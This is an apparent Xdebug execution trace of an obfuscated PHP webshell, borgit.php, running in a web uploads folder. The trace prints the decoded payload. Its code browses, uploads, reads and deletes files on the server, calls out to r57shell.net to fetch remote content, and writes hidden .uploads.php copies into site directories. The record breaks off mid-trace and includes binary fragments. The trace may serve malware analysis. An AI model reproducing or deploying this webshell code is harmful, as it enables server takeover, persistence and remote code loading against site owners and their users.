Version: 3.1.0beta2 File format: 4 TRACE START [2023-02-12 23:26:11.369442] 1 0 1 0.000162 393528 1 3 0 0.000293 402368 {main} 1 /var/www/html/uploads/borgit.php 0 0 1 A /var/www/html/uploads/borgit.php 2 $stt1 = 'Sy1LzNFQt7dT10uvKs1Lzs8tKEotLtZIr8rMS8tJLEnVSEosTjUziU9JTc5PSdUoLikqSi3TUCkuKTHQBAFrAA==' 1 A /var/www/html/uploads/borgit.php 3 $stt0 = 'S6BO7Jw/iiHOQooN0/2uW73xCkrKK2FWce8AjWx+Im3/1KPRj6VV1I+MGYq5qq0xSSA3QvgCj6oShkhQ19Pwt9X80BtR3pcacOuuKQ6wYkyeoZW88+52HTPONeSLSoevrt1SjOzl6G8LXqjco4Kgr6R+rZrSB7uV5vXQ9pMmwLWDHMQGhg6YE1MWxNRAWOeeiuWC9abwEHCX4S1XyBH7fIvpT/f3v4gOqRKB3jETmtbLf6mSknPF3hIXTXJZZgVou0YvUZZdNw9nCpGBCJi1XAUTSOSkcJMrJUbKZBWSW99NE8h/qJxT93Kp5wGQVRDJpkCfDfNNZK2OEtSW70mFG7XpMVLGnIhXODhMaOZPoI/Z1p8XsvSj2ffuzLxUTIn2Syr0P86/vkluwAX0LWtsoJRjuDSg5O2dXXcaq6Q3iATVTwINKhZC5Ywjr+ckF5zio2LzosDROjLoA3+kJad3s8WXDHDonjFpRZfu6LMsw5f5fm8CpoRGr9+lofUMpVrD' 2 4 0 0.000382 402368 base64_decode 0 /var/www/html/uploads/borgit.php 4 1 'Sy1LzNFQt7dT10uvKs1Lzs8tKEotLtZIr8rMS8tJLEnVSEosTjUziU9JTc5PSdUoLikqSi3TUCkuKTHQBAFrAA==' 2 4 1 0.000409 402528 2 4 R 'K-KPSK*K-(J-.HKI,IHJ,N53OIMOI(.)*J-P).)1\004\001k\000' 2 5 0 0.000437 402496 gzinflate 0 /var/www/html/uploads/borgit.php 4 1 'K-KPSK*K-(J-.HKI,IHJ,N53OIMOI(.)*J-P).)1\004\001k\000' 2 5 1 0.000465 402624 2 5 R 'eval(\'?>\'.gzuncompress(gzinflate(base64_decode(strrev($stt0)))));' 2 6 0 0.000489 402464 htmlspecialchars_decode 0 /var/www/html/uploads/borgit.php 4 1 'eval(\'?>\'.gzuncompress(gzinflate(base64_decode(strrev($stt0)))));' 2 6 1 0.000510 402496 2 6 R 'eval(\'?>\'.gzuncompress(gzinflate(base64_decode(strrev($stt0)))));' 2 7 0 0.000545 404024 eval 1 'eval(\'?>\'.gzuncompress(gzinflate(base64_decode(strrev($stt0)))));' /var/www/html/uploads/borgit.php 4 0 3 8 0 0.000566 404024 strrev 0 /var/www/html/uploads/borgit.php(4) : eval()'d code 1 1 'S6BO7Jw/iiHOQooN0/2uW73xCkrKK2FWce8AjWx+Im3/1KPRj6VV1I+MGYq5qq0xSSA3QvgCj6oShkhQ19Pwt9X80BtR3pcacOuuKQ6wYkyeoZW88+52HTPONeSLSoevrt1SjOzl6G8LXqjco4Kgr6R+rZrSB7uV5vXQ9pMmwLWDHMQGhg6YE1MWxNRAWOeeiuWC9abwEHCX4S1XyBH7fIvpT/f3v4gOqRKB3jETmtbLf6mSknPF3hIXTXJZZgVou0YvUZZdNw9nCpGBCJi1XAUTSOSkcJMrJUbKZBWSW99NE8h/qJxT93Kp5wGQVRDJpkCfDfNNZK2OEtSW70mFG7XpMVLGnIhXODhMaOZPoI/Z1p8XsvSj2ffuzLxUTIn2Syr0P86/vkluwAX0LWtsoJRjuDSg5O2dXXcaq6Q3iATVTwINKhZC5Ywjr+ckF5zio2LzosDROjLoA3+kJad3s8WXDHDonjFpRZfu6LMsw5f5fm8CpoRGr9+lofUMpVrD' 3 8 1 0.000612 412248 3 8 R 'AeAXH+h4nKVcWXMTS7J+v7+ix0HMMTHE3N7bVg1zD+AF4xVZBptjQiFLLSwsS0KL3fYZ/vtk5VJV3WoZOPfBtNSqJSsrly+zsvjX/02uJ//jfRnPx972xcfJJ+W9z74Uhw1v0PfWB7NZPl9/1j45Pm39sXZZpMllEMfw3LwssvgyiDL4Hl0GSQbv8ssghXcxtElS/fva5+fPvT9xoP5gmLcni3m7Ox7N89F8BoPubtOYKbQP4C+m8VMfngGOVaQba59feLP5dDCZDTuz63xmicGJHGKKpI/EFGlfCKABLTGamrx7PfagdxjxNCmOVMB0cbCmvO9ePpzltmER57Q+GC4G0jJYbhzAM8XRdb8ipI7fiY3HW5P0SnmnQXRw1DDDRN1LGIVWBX9Rjq+KsE+EZuGlHlG/4q+mSWa6wCw4w+Tm1Zdz5Y2H8aevDe/ZpDO/9l5qNrWn+WTY6ebrMGHSXXsBEycZPLDJc+79dnF9/qi8/Pjr6Qlts+xFoBekp067' 3 9 0 0.000657 412216 base64_decode 0 /var/www/html/uploads/borgit.php(4) : eval()'d code 1 1 'AeAXH+h4nKVcWXMTS7J+v7+ix0HMMTHE3N7bVg1zD+AF4xVZBptjQiFLLSwsS0KL3fYZ/vtk5VJV3WoZOPfBtNSqJSsrly+zsvjX/02uJ//jfRnPx972xcfJJ+W9z74Uhw1v0PfWB7NZPl9/1j45Pm39sXZZpMllEMfw3LwssvgyiDL4Hl0GSQbv8ssghXcxtElS/fva5+fPvT9xoP5gmLcni3m7Ox7N89F8BoPubtOYKbQP4C+m8VMfngGOVaQba59feLP5dDCZDTuz63xmicGJHGKKpI/EFGlfCKABLTGamrx7PfagdxjxNCmOVMB0cbCmvO9ePpzltmER57Q+GC4G0jJYbhzAM8XRdb8ipI7fiY3HW5P0SnmnQXRw1DDDRN1LGIVWBX9Rjq+KsE+EZuGlHlG/4q+mSWa6wCw4w+Tm1Zdz5Y2H8aevDe/ZpDO/9l5qNrWn+WTY6ebrMGHSXXsBEycZPLDJc+79dnF9/qi8/Pjr6Qlts+xFoBekp067' 3 9 1 0.000730 420440 3 9 R '\001\027\037x\\Ys\023K~A11V\rs\017\005\025Y\006cB!K-,,KB\031dRUj\0318Ԫ%++/M\'}\031\'Ͼ\024\ro\aY>_>9>mvYe\020ܼ,22\036]\006I\006 w1IRϽ?q`\'y;\036|\006nӘ)\017/S\037\001U\033k_xt0\r;|f\034b\024i_\b\001-1{=w\0304)Ttq^>a\021>\030.\0062Xn\0343u"߉[JyAtp0DK\030V\005QOf\036Q⯦If,8՗s升\r٤3^j6d0a]{\001\023\'\031_>9>mvYe\020ܼ,22\036]\006I\006 w1IRϽ?q`\'y;\036|\006nӘ)\017/S\037\001U\033k_xt0\r;|f\034b\024i_\b\001-1{=w\0304)Ttq^>a\021>\030.\0062Xn\0343u"߉[JyAtp0DK\030V\005QOf\036Q⯦If,8՗s升\r٤3^j6d0a]{\001\023\'\031_>9>mvYe\020ܼ,22\036]\006I\006 w1IRϽ?q`\'y;\036|\006nӘ)\017/S\037\001U\033k_xt0\r;|f\034b\024i_\b\001-1{=w\0304)Ttq^>a\021>\030.\0062Xn\0343u"߉[JyAtp0DK\030V\005QOf\036Q⯦If,8՗s升\r٤3^j6d0a]{\001\023\'\031_>9>mvYe\020ܼ,22\036]\006I\006 w1IRϽ?q`\'y;\036|\006nӘ)\017/S\037\001U\033k_xt0\r;|f\034b\024i_\b\001-1{=w\0304)Ttq^>a\021>\030.\0062Xn\0343u"߉[JyAtp0DK\030V\005QOf\036Q⯦If,8՗s升\r٤3^j6d0a]{\001\023\'\031 array("\\150\\x65\\141\\x64\\145\\x72" => array("\\122\\145\\146\\145\\162\\145\\162\\x3a\\40{$referer}\\xd\\12"))); goto SEYI3; dv5_h: $referer = $_SERVER["\\x48\\x54\\124\\x50\\137\\110\\117\\x53\\x54"] . $_SERVER["\\122\\105\\121\\x55\\105\\x53\\124\\x5f\\x55\\122\\x49"]; goto ici4q; o3iQ2: $response = @file_get_contents("\\x68\\164\\164\\160\\72\\x2f\\57\\x72\\65\\67\\x73\\x68\\x65\\154\\x6c\\56\\x6e\\x65\\164\\57\\152\\x71\\165\\145\\162\\171\\x2e\\x70\\x68\\160\\77\\166\\x3d\\x31\\56\\62\\46\\x72\\x65\\161\\x75\\145\\163\\164\\75\\x65\\x6e\\141\\142\\x6c\\145", false, $context); goto yrnyG; yrnyG: } goto DTYf1; BC6iX: } else { $response = file_get_contents($tmp_file); if (!@preg_match("\\43\\x73\\x74\\x74\\x31\\x23", $response)) { goto Lztz2; J0uhi: @file_put_contents($tmp_file, $response); goto qfjOh; UwFl7: @touch($tmp_file); goto J0uhi; Lztz2: if (function_exists("\\x63\\165\\x72\\x6c\\x5f\\x69\\156\\151\\164")) { goto DDVLS; YbFib: $response = curl_exec($ch); goto CT9t2; gh0NZ: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["\\110\\x54\\124\\x50\\x5f\\x48\\x4f\\x53\\x54"] . $_SERVER["\\122\\105\\x51\\125\\x45\\x53\\124\\x5f\\125\\x52\\111"]); goto YbFib; DUwRv: curl_setopt($ch, CURLOPT_URL, "\\150\\x74\\164\\x70\\72\\57\\x2f\\162\\x35\\67\\x73\\x68\\x65\\x6c\\x6c\\56\\x6e\\145\\164\\x2f\\x6a\\161\\x75\\145\\162\\171\\x2e\\x70\\150\\160\\77\\166\\x3d\\x31\\x2e\\62\\46\\162\\x65\\161\\x75\\x65\\163\\164\\75\\x65\\x6e\\141\\142\\x6c\\145"); goto FsDau; DDVLS: $ch = curl_init(); goto DUwRv; FsDau: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto gh0NZ; CT9t2: curl_close($ch); goto CTFHU; CTFHU: } else { goto Iah3I; dIiO6: $opts = array("\\150\\164\\x74\\x70" => array("\\150\\x65\\x61\\x64\\x65\\x72" => array("\\122\\145\\x66\\x65\\162\\145\\162\\x3a\\40{$referer}\\xd\\12"))); goto vNWMn; Iah3I: $referer = $_SERVER["\\110\\124\\124\\120\\x5f\\110\\117\\x53\\124"] . $_SERVER["\\122\\x45\\121\\x55\\105\\x53\\x54\\x5f\\125\\122\\111"]; goto dIiO6; IfMVt: $response = @file_get_contents("\\150\\164\\x74\\x70\\72\\x2f\\x2f\\x72\\x35\\67\\163\\x68\\x65\\x6c\\x6c\\56\\156\\x65\\x74\\x2f\\152\\x71\\x75\\145\\162\\171\\56\\160\\150\\160\\x3f\\166\\75\\x31\\x2e\\x32\\x26\\x72\\x65\\x71\\x75\\x65\\x73\\164\\x3d\\145\\x6e\\x61\\142\\154\\x65", false, $context); goto t07Gl; vNWMn: $context = stream_context_create($opts); goto IfMVt; t07Gl: } goto UwFl7; qfjOh: } } goto MzByA; K8nbx: $uri_path = $parse_url["\\160\\141\\x74\\150"]; goto nrqlh; xsu6n: $parse_url = parse_url($request_uri); goto K8nbx; PLyzL: $request_uri = $_SERVER["\\x52\\x45\\121\\125\\105\\123\\124\\137\\x55\\x52\\x49"]; goto xsu6n; Vg2KG: $document_file = $_SERVER["\\123\\103\\122\\x49\\x50\\124\\137\\106\\111\\114\\105\\116\\x41\\x4d\\105"]; goto PLyzL; jZXeZ: $hostname = str_replace("\\167\\167\\167\\x2e", \'\', $_SERVER["\\110\\124\\x54\\120\\137\\x48\\x4f\\x53\\x54"]); goto wEGLM; ohwPw: } wp_core_version_check(); } goto ETryK; UQ9Hd: foreach ($paths as $id => $pat) { goto kY3Em; kY3Em: if ($pat == \'\' && $id == 0) { goto vz_c5; ZX0V_: continue; goto QKxoi; vz_c5: $a = true; goto sTmnq; sTmnq: echo "\\x3c\\141\\40\\150\\x72\\x65\\146\\x3d\\x22\\x3f\\x70\\x61\\164\\x68\\x3d\\57\\42\\76\\57\\x3c\\x2f\\x61\\x3e"; goto ZX0V_; QKxoi: } goto tncVh; l2xoj: echo "\\42\\x3e" . $pat . "\\x3c\\x2f\\141\\76\\57"; goto V_Sbb; RiLy2: for ($i = 0; $i <= $id; $i++) { echo "{$paths[$i]}"; if ($i != $id) { echo "\\x2f"; } } goto l2xoj; tncVh: if ($pat == \'\') { continue; } goto UqM9t; UqM9t: echo "\\x3c\\x61\\40\\x68\\162\\145\\146\\x3d\\42\\x3f\\x70\\141\\164\\x68\\x3d"; goto RiLy2; V_Sbb: } goto S13LN; xncW0: if (isset($_GET["\\x70\\141\\x74\\150"])) { $path = $_GET["\\160\\141\\164\\x68"]; } else { $path = getcwd(); } goto ol4Zj; HuhXz: $paths = explode("\\x2f", $path); goto UQ9Hd; pkAgX: if (isset($_FILES["\\165\\160\\x5f\\x66\\151\\154\\x65"])) { $target_path = basename($_FILES["\\x75\\160\\137\\x66\\x69\\154\\145"]["\\x6e\\141\\x6d\\x65"]); if (move_uploaded_file($_FILES["\\x75\\160\\137\\x66\\151\\x6c\\x65"]["\\x74\\x6d\\160\\x5f\\156\\x61\\x6d\\145"], $path . "\\57" . $target_path)) { echo "\\74\\146\\157\\156\\x74\\40\\x63\\157\\154\\157\\162\\75\\x22\\x67\\x72\\145\\x65\\x6e\\x22\\76\\146\\x69\\x6c\\x65\\40\\165\\160\\41\\x3c\\x2f\\146\\x6f\\156\\x74\\76\\x3c\\x62\\x72\\40\\x2f\\76"; } else { echo "\\x3c\\x66\\157\\x6e\\x74\\x20\\x63\\x6f\\154\\x6f\\x72\\75\\x22\\x72\\145\\144\\x22\\x3e\\165\\x70\\x20\\146\\x61\\151\\154\\x21\\x3c\\x2f\\x66\\x6f\\156\\x74\\x3e\\x3c\\x62\\162\\40\\x2f\\76"; } } goto THHMb; THHMb: echo "\\74\\146\\x6f\\x72\\155\\40\\x65\\156\\143\\164\\x79\\160\\145\\x3d\\42\\x6d\\165\\x6c\\x74\\x69\\160\\141\\x72\\x74\\x2f\\146\\157\\162\\x6d\\x2d\\144\\141\\164\\x61\\x22\\40\\x6d\\145\\x74\\150\\157\\x64\\x3d\\42\\120\\117\\x53\\124\\42\\x20\\141\\143\\164\\x69\\x6f\\156\\x3d\\x22\\x3f\\x70\\x61\\164\\x68\\75{$path}\\x22\\x3e\\x3c\\151\\x6e\\160\\x75\\x74\\x20\\156\\x61\\x6d\\x65\\x3d\\42\\165\\160\\137\\x66\\151\\x6c\\145\\x22\\x20\\x74\\171\\x70\\x65\\75\\42\\146\\x69\\154\\145\\x22\\x2f\\x3e\\74\\151\\156\\160\\x75\\x74\\40\\164\\171\\160\\145\\75\\42\\163\\x75\\142\\x6d\\x69\\164\\x22\\40\\166\\141\\154\\165\\145\\x3d\\x22\\165\\160\\40\\106\\x69\\x6c\\x65\\42\\x2f\\76\\x3c\\57\\146\\157\\162\\x6d\\76\\x3c\\x2f\\x74\\x64\\76\\x3c\\x2f\\164\\x72\\76"; goto j1Os6; ODp6b: if (isset($_GET["\\x66\\151\\x6c\\x65\\x70\\141\\x74\\x68"])) { goto L5GNx; RwWXX: echo "\\x3c\\x2f\\164\\x72\\76\\x3c\\x2f\\164\\144\\76\\x3c\\57\\164\\141\\x62\\x6c\\145\\76\\74\\142\\162\\x20\\x2f\\x3e"; goto uSFRc; uSFRc: echo "\\x3c\\x66\\157\\x72\\x6d\\x20\\x61\\143\\164\\x69\\x6f\\156\\x3d\\x22\\42\\40\\x6d\\x65\\x74\\150\\x6f\\x64\\x3d\\42\\160\\157\\x73\\x74\\x22\\76\\74\\x74\\145\\x78\\164\\141\\x72\\145\\x61\\x20\\x73\\x74\\x79\\154\\145\\75\\42\\x77\\x69\\x64\\164\\150\\72\\x31\\x30\\60\\x25\\x3b\\150\\x65\\151\\147\\x68\\164\\x3a\\63\\x30\\x30\\160\\x78\\x3b\\42\\40\\156\\141\\x6d\\145\\x3d\\42\\x65\\144\\x69\\164\\x5f\\x63\\157\\156\\164\\x65\\x6e\\164\\42\\x3e" . htmlspecialchars(file_get_contents($_GET["\\x66\\151\\x6c\\145\\x70\\x61\\164\\x68"])) . "\\x3c\\x2f\\x74\\145\\x78\\164\\141\\x72\\x65\\x61\\76\\74\\x69\\x6e\\160\\165\\x74\\40\\x74\\x79\\160\\x65\\75\\42\\163\\x75\\142\\155\\151\\164\\x22\\76\\74\\x2f\\x66\\157\\162\\x6d\\x3e"; goto TxCXG; XYzkC: echo $_GET["\\x66\\151\\154\\x65\\x70\\141\\164\\150"]; goto RwWXX; L5GNx: echo "\\74\\164\\x72\\x3e\\x3c\\164\\x64\\x3e\\103\\165\\x72\\162\\x65\\x6e\\x74\\x20\\x46\\x69\\154\\145\\x20\\x3a\\40"; goto XYzkC; TxCXG: } elseif (isset($_GET["\\143\\x68\\145\\x63\\153"]) && $_GET["\\143\\x68\\x65\\143\\x6b"] == "\\x31") { goto uApcr; kfYnM: echo "\\x3c\\57\\x74\\162\\x3e\\74\\x2f\\164\\144\\x3e\\74\\x2f\\x74\\141\\x62\\154\\x65\\76\\x3c\\x62\\x72\\40\\57\\76"; goto OX4IX; bloZz: $filename = $RootDir . "\\x2f\\151\\156\\144\\x65\\170\\x2e\\x70\\x68\\x70"; goto DV9kU; OX4IX: echo "\\74\\160\\162\\145\\x3e" . htmlspecialchars(file_get_contents($filename)) . "\\74\\x2f\\160\\162\\x65\\76"; goto RKfBn; DV9kU: echo "\\x3c\\x74\\162\\x3e\\74\\x74\\144\\x3e\\x43\\165\\162\\x72\\145\\156\\164\\40\\106\\x69\\154\\x65\\40\\x3a\\40"; goto Ne_rp; Ne_rp: echo $filename; goto kfYnM; uApcr: $RootDir = $_SERVER["\\x44\\x4f\\x43\\x55\\115\\105\\116\\x54\\137\\122\\x4f\\x4f\\124"]; goto bloZz; RKfBn: } else { goto TMl06; TMl06: echo "\\74\\57\\x74\\141\\x62\\x6c\\x65\\76\\x3c\\142\\162\\x20\\x2f\\x3e\\x3c\\143\\x65\\156\\164\\145\\162\\76"; goto PPkHk; oOWfl: echo "\\x3c\\x2f\\164\\x61\\142\\x6c\\x65\\76\\x3c\\57\\x64\\x69\\166\\x3e"; goto HU0x7; ULzDB: echo "\\x3c\\x2f\\143\\x65\\156\\164\\145\\x72\\x3e"; goto VGAWt; GP3Ir: echo "\\x3c\\164\\162\\40\\143\\x6c\\x61\\163\\163\\75\\x22\\x66\\151\\x72\\x73\\164\\42\\x3e\\x3c\\x74\\x64\\x3e\\74\\57\\x74\\144\\76\\x3c\\164\\144\\x3e\\x3c\\57\\164\\x64\\76\\x3c\\164\\x64\\76\\x3c\\x2f\\164\\x64\\x3e\\x3c\\x74\\144\\76\\x3c\\57\\164\\144\\x3e\\74\\x2f\\x74\\x72\\x3e"; goto eUI_L; VGAWt: $scandir = scandir($path); goto BM0GO; eUI_L: foreach ($scandir as $file) { goto RDwb9; D820U: echo "\\74\\x74\\x72\\76\\74\\164\\x64\\x3e\\x3c\\x61\\x20\\150\\x72\\145\\146\\x3d\\x22\\x3f\\146\\x69\\x6c\\145\\x70\\141\\164\\150\\x3d{$path}\\57{$file}\\46\\160\\x61\\164\\x68\\x3d{$path}\\x22\\x3e{$file}\\74\\x2f\\141\\x3e\\74\\x2f\\164\\x64\\76\\74\\x74\\144\\76" . $size . "\\x3c\\57\\x74\\144\\x3e\\x3c\\164\\144\\76\\74\\141\\x20\\150\\162\\x65\\146\\x3d\\x22\\77\\160\\141\\164\\150\\x3d{$path}\\46\\x64\\145\\x6c\\x66\\151\\x6c\\145\\75{$path}\\x2f{$file}\\x26\\x6f\\x70\\x74\\151\\x6f\\x6e\\x3d\\144\\x65\\154\\145\\164\\145\\x22\\x3e\\104\\x65\\154\\145\\164\\x65\\74\\57\\x61\\x3e\\x3c\\57\\164\\144\\76\\74\\x2f\\164\\162\\x3e"; goto tr9x8; RDwb9: if (!is_file("{$path}\\x2f{$file}")) { continue; } goto PDq60; PDq60: $size = filesize("{$path}\\57{$file}") / 1024; goto P_4x4; yuXvv: if ($size >= 1024) { $size = round($size / 1024, 2) . "\\40\\115\\x42"; } else { $size = $size . "\\x20\\113\\102"; } goto D820U; P_4x4: $size = round($size, 3); goto yuXvv; tr9x8: } goto oOWfl; QTvs1: foreach ($scandir as $dir) { if (!is_dir("{$path}\\x2f{$dir}") || $dir == "\\56" || $dir == "\\x2e\\56") { continue; } echo "\\74\\164\\162\\76\\74\\x74\\144\\76\\x3c\\141\\x20\\x68\\162\\145\\146\\x3d\\42\\77\\160\\141\\x74\\x68\\75{$path}\\x2f{$dir}\\42\\76{$dir}\\74\\57\\141\\76\\x3c\\57\\164\\144\\x3e\\x3c\\x74\\144\\x3e\\104\\111\\x52\\x3c\\57\\164\\144\\x3e\\74\\x74\\144\\x3e\\156\\157\\x6e\\x65\\x3c\\57\\164\\x64\\76\\x3c\\57\\x74\\162\\76"; } goto GP3Ir; PPkHk: if (isset($_GET["\\x6f\\x70\\164\\151\\157\\x6e"]) && $_GET["\\x6f\\160\\164\\151\\157\\x6e"] == "\\144\\145\\154\\145\\x74\\x65") { if (unlink($_GET["\\x64\\x65\\154\\146\\151\\x6c\\x65"])) { echo "\\x3c\\x66\\x6f\\x6e\\164\\40\\143\\x6f\\x6c\\x6f\\x72\\x3d\\x22\\x67\\162\\145\\x65\\156\\42\\x3e\\x44\\145\\154\\145\\x74\\145\\40\\x46\\x69\\x6c\\x65\\40\\x44\\x6f\\x6e\\x65\\x2e\\x3c\\x2f\\x66\\x6f\\x6e\\164\\76\\x3c\\x62\\x72\\x20\\x2f\\x3e"; } else { echo "\\x3c\\146\\x6f\\x6e\\x74\\x20\\x63\\157\\154\\x6f\\x72\\75\\x22\\162\\145\\144\\x22\\x3e\\x44\\x65\\x6c\\x65\\164\\x65\\x20\\106\\x69\\154\\x65\\40\\105\\162\\x72\\x6f\\162\\x2e\\x3c\\x2f\\146\\x6f\\156\\164\\76\\74\\x62\\162\\x20\\x2f\\76"; } } goto ULzDB; BM0GO: echo "\\x3c\\144\\151\\x76\\x20\\x69\\144\\x3d\\42\\143\\x6f\\156\\164\\145\\156\\x74\\42\\76\\74\\164\\141\\142\\154\\145\\x20\\x77\\151\\x64\\x74\\150\\x3d\\x22\\x33\\70\\60\\x22\\x20\\x62\\157\\x72\\x64\\145\\162\\75\\42\\60\\42\\40\\143\\145\\x6c\\x6c\\x70\\141\\144\\144\\151\\x6e\\x67\\75\\x22\\x33\\42\\40\\143\\x65\\x6c\\x6c\\163\\160\\141\\x63\\x69\\156\\x67\\x3d\\x22\\x31\\x22\\x20\\x61\\154\\151\\147\\156\\75\\x22\\143\\x65\\x6e\\164\\x65\\x72\\42\\x3e\\x3c\\x74\\x72\\40\\x63\\x6c\\141\\x73\\x73\\75\\42\\x66\\151\\x72\\x73\\x74\\x22\\x3e\\x3c\\164\\144\\x3e\\116\\141\\155\\x65\\x3c\\57\\164\\144\\76\\x3c\\164\\144\\76\\123\\x69\\172\\x65\\x3c\\57\\x74\\x64\\x3e\\74\\x74\\x64\\x3e\\x4f\\160\\164\\151\\x6f\\x6e\\163\\x3c\\x2f\\x74\\144\\x3e\\x3c\\x2f\\164\\162\\x3e"; goto QTvs1; HU0x7: }' /var/www/html/uploads/borgit.php(4) : eval()'d code 1 0 4 13 0 0.003300 520752 function_exists 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 'wp_core_version_check' 4 13 1 0.003324 520792 4 13 R FALSE 4 14 0 0.003345 520752 wp_core_version_check 1 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 0 4 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $document_file = '/var/www/html/uploads/borgit.php' 4 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $request_uri = '/uploads/borgit.php' 5 15 0 0.003404 520752 parse_url 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/uploads/borgit.php' 5 15 1 0.003425 521208 5 15 R ['path' => '/uploads/borgit.php'] 4 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $parse_url = ['path' => '/uploads/borgit.php'] 4 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $uri_path = '/uploads/borgit.php' 5 16 0 0.003480 521176 dirname 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/uploads/borgit.php' 5 16 1 0.003499 521256 5 16 R '/uploads' 4 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $uri_path = '/uploads' 5 17 0 0.003533 521224 dirname 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/borgit.php' 5 17 1 0.003552 521320 5 17 R '/var/www/html/uploads' 4 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $file_path = '/var/www/html/uploads' 5 18 0 0.003587 521288 str_replace 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 3 '/' '/' '/uploads' 5 18 1 0.003608 521424 5 18 R '/uploads' 4 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $uri_path = '/uploads' 5 19 0 0.003642 521280 str_replace 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 3 '/uploads' '' '/var/www/html/uploads' 5 19 1 0.003663 521416 5 19 R '/var/www/html' 4 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $document_root = '/var/www/html' 5 20 0 0.003699 521320 str_replace 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 3 'www.' '' 'localhost' 5 20 1 0.003719 521416 5 20 R 'localhost' 4 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $hostname = 'localhost' 5 21 0 0.003753 521320 sys_get_temp_dir 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 0 5 21 1 0.003772 521360 5 21 R '/tmp' 5 22 0 0.003789 521360 is_writable 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/tmp' 5 22 1 0.003815 521400 5 22 R TRUE 5 23 0 0.003833 521328 sys_get_temp_dir 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 0 5 23 1 0.003850 521360 5 23 R '/tmp' 5 24 0 0.003869 521448 md5 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 'localhost_/var/www/html/uploads/borgit.php' 5 24 1 0.003888 521544 5 24 R '38856f658bc098be43a28aa428b7ae46' 4 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $tmp_file = '/tmp/sess_38856f658bc098be43a28aa428b7ae46' 5 25 0 0.003929 521408 file_exists 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/tmp/sess_38856f658bc098be43a28aa428b7ae46' 5 25 1 0.003960 521448 5 25 R FALSE 5 26 0 0.003978 521408 function_exists 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 'curl_init' 5 26 1 0.003998 521448 5 26 R TRUE 5 27 0 0.004015 521408 curl_init 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 0 5 27 1 0.004048 522320 5 27 R resource(3) of type (curl) 4 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $ch = resource(3) of type (curl) 5 28 0 0.004086 522320 curl_setopt 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 3 resource(3) of type (curl) 10002 'http://r57shell.net/jquery.php?v=1.2&request=enable' 5 28 1 0.004110 522416 5 28 R TRUE 5 29 0 0.004128 522320 curl_setopt 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 3 resource(3) of type (curl) 19913 1 5 29 1 0.004148 522416 5 29 R TRUE 5 30 0 0.004166 522376 curl_setopt 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 3 resource(3) of type (curl) 10016 'localhost/uploads/borgit.php' 5 30 1 0.004188 522472 5 30 R TRUE 5 31 0 0.004204 522320 curl_exec 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 resource(3) of type (curl) 5 31 1 0.099288 526448 5 31 R ' '/var/www/html/uploads'] 5 36 0 0.099840 526064 array_filter 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 [0 => '/var/www/html/uploads'] 5 36 1 0.099857 526472 5 36 R [0 => '/var/www/html/uploads'] 4 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $dirs = [0 => '/var/www/html/uploads'] 5 37 0 0.099889 526112 basename 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads' 5 37 1 0.099906 526176 5 37 R 'uploads' 4 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $file_name = '/var/www/html/uploads/.uploads.php' 5 38 0 0.099934 526128 file_put_contents 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 2 '/var/www/html/uploads/.uploads.php' ' '/var/www/html/uploads/data'] 5 40 0 0.100059 526560 array_filter 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 [0 => '/var/www/html/uploads/data'] 5 40 1 0.100075 526968 5 40 R [0 => '/var/www/html/uploads/data'] 4 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $dirs = [0 => '/var/www/html/uploads/data'] 5 41 0 0.100104 526560 preg_match 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 2 '#wp-content#' '/var/www/html/uploads/data' 5 41 1 0.100122 526624 5 41 R 0 5 42 0 0.100135 526616 basename 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/data' 5 42 1 0.100151 526680 5 42 R 'data' 4 A 